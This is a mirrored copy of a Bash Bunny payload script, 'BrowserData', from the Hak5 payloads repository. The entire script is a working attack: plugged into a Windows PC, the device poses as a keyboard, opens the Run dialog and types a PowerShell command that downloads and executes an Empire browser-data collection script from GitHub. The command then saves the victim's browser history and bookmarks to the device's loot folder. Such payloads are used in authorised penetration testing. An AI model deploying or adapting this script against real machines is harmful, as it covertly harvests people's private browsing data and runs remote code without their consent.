mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
37 lines
1.2 KiB
Plaintext
Executable File
37 lines
1.2 KiB
Plaintext
Executable File
exit
|
|
#!/bin/bash
|
|
#
|
|
# Title: BrowserData
|
|
# Author: zachstanford
|
|
# Version: 0.1 (Tested on Windows 10)
|
|
#
|
|
# Dumps browser info like history and bookmarks from powershell script
|
|
# then saves them in /root/udisk/loot/BrowserData/%ComputerName%
|
|
# Credits to this Empire's powershell script:
|
|
# https://github.com/EmpireProject/Empire/blob/master/data/module_source/collection/Get-BrowserData.ps1
|
|
|
|
#script
|
|
# Blue...............Running Script
|
|
# Purple.............Finished
|
|
|
|
# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
|
|
source bunny_helpers.sh
|
|
|
|
LED R 200
|
|
LOOTDIR=/root/udisk/loot/BrowserData
|
|
mkdir -p $LOOTDIR
|
|
|
|
ATTACKMODE HID STORAGE
|
|
LED B 200
|
|
|
|
# wait 6 seconds for the storage to popup
|
|
Q DELAY 6000
|
|
Q GUI r
|
|
Q DELAY 100
|
|
Q STRING powershell "$bunny =(gwmi win32_volume -f 'label=''BashBunny''' | Select-Object -ExpandProperty DriveLetter); IEX (New-Object Net.WebClient).downloadstring("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/collection/Get-BrowserData.ps1"); Get-BrowserInformation | Out-File -Append $bunny\loot\BrowserData\$env:computername.txt;"
|
|
Q ENTER
|
|
Q DELAY 2000
|
|
Q STRING exit
|
|
Q ENTER
|
|
sync
|
|
LED R B 200 |